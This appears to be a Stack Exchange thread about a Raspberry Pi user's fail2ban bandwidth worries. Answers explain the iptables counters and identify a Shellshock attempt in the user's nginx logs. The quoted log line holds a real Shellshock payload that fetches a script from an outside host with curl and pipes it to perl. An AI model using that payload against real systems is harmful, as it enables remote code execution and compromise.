I have a raspberry pi on which I have a nginx and a ssh server, I have installed iptables and fail2ban in order to limit the attempts of ssh connection. The problem is that it seems that fail2ban consume a lot of bandwidth:

Chain fail2ban-ssh (1 references)

num pkts bytes target     prot opt in     out     source               destination         
1 933 63565 RETURN     all  --  *      *    

It already has consumed +- 60kb while it is on only for a few minutes and I don't see incorrect ssh attempts in my log since yesterday. Last time it has 14G in the bytes fields...

My question: Is it normal that there as much bandwidth used by fail2ban? Does the problem come from somewhere else?

I've also seen in my nginx log these nasty logs: - - [21/Oct/2014:09:33:33 +0000] "GET / HTTP/1.0" 200 99 "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"

Can that be related to the problem?

  • I suggest that you provide more information regarding the used iptables rules. I mean, the key to an answer would be the iptables rules that put packagets into the fail2ban chain. Also, please lookup the basic markdown syntax elements and format quoted command output properly. – maxschlepzig Oct 22 '14 at 9:49
  • 1
    Why do you think fail2ban consume bandwidth? – Braiam Oct 22 '14 at 14:46

A few points:

1) fail2ban is just logic for modifying the system configuration so it doesn't really consume any bandwidth itself.

2) 60KB over the course of several minutes isn't that much bandwidth at all.

3) The 60KB of bandwidth you're looking at is for network traffic that matched the failed event. There's nothing you can do to lessen the traffic since you're not the one generating it. The fact that it's being rejected as part of a fail2ban rule indicates it's probably traffic you want to have blocked.

4) The nginx logs indicate that the remote attacker is trying to use the shellshock exploit on you. I would ensure you're fully patched.

All in all, the system actually is working as expected. If you want to do something to get their requests to stop you might track down whatever VPS they're doing this from and email the provider to report abuse stemming from their network.


Out of perverse interest I looked into it and the attacker's IP resolves to sonne.publicmanagement.at According to whois the contacts for that domain are info@publicmanagement.at and at.dom-admin@matthias.subik.de you may try to email them directly. Given that it's coming from a German provider but pulling an exploit from what appears to be a Korean website the provider may be legitimately unaware this is going on and this may just be one of their boxes that was already rooted (probably in a similar way).

  • 1
    "The 60KB of bandwidth you're looking at is for network traffic that matched the failed event" -- not even that. Look at the rule that's matching. That's the final RETURN rule, which tells iptables to resume processing in the previous chain, and is used when the packet isn't blocked. – Patrick Oct 22 '14 at 22:17
  • True but ultimately it depends on how the chain is used. For all we know there's an unconditional drop after that chain's entry in the table. – Bratchley Oct 23 '14 at 14:22
  • Thanks for the extra information, that reassure me a bit :) – David Bowman Oct 25 '14 at 8:41

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.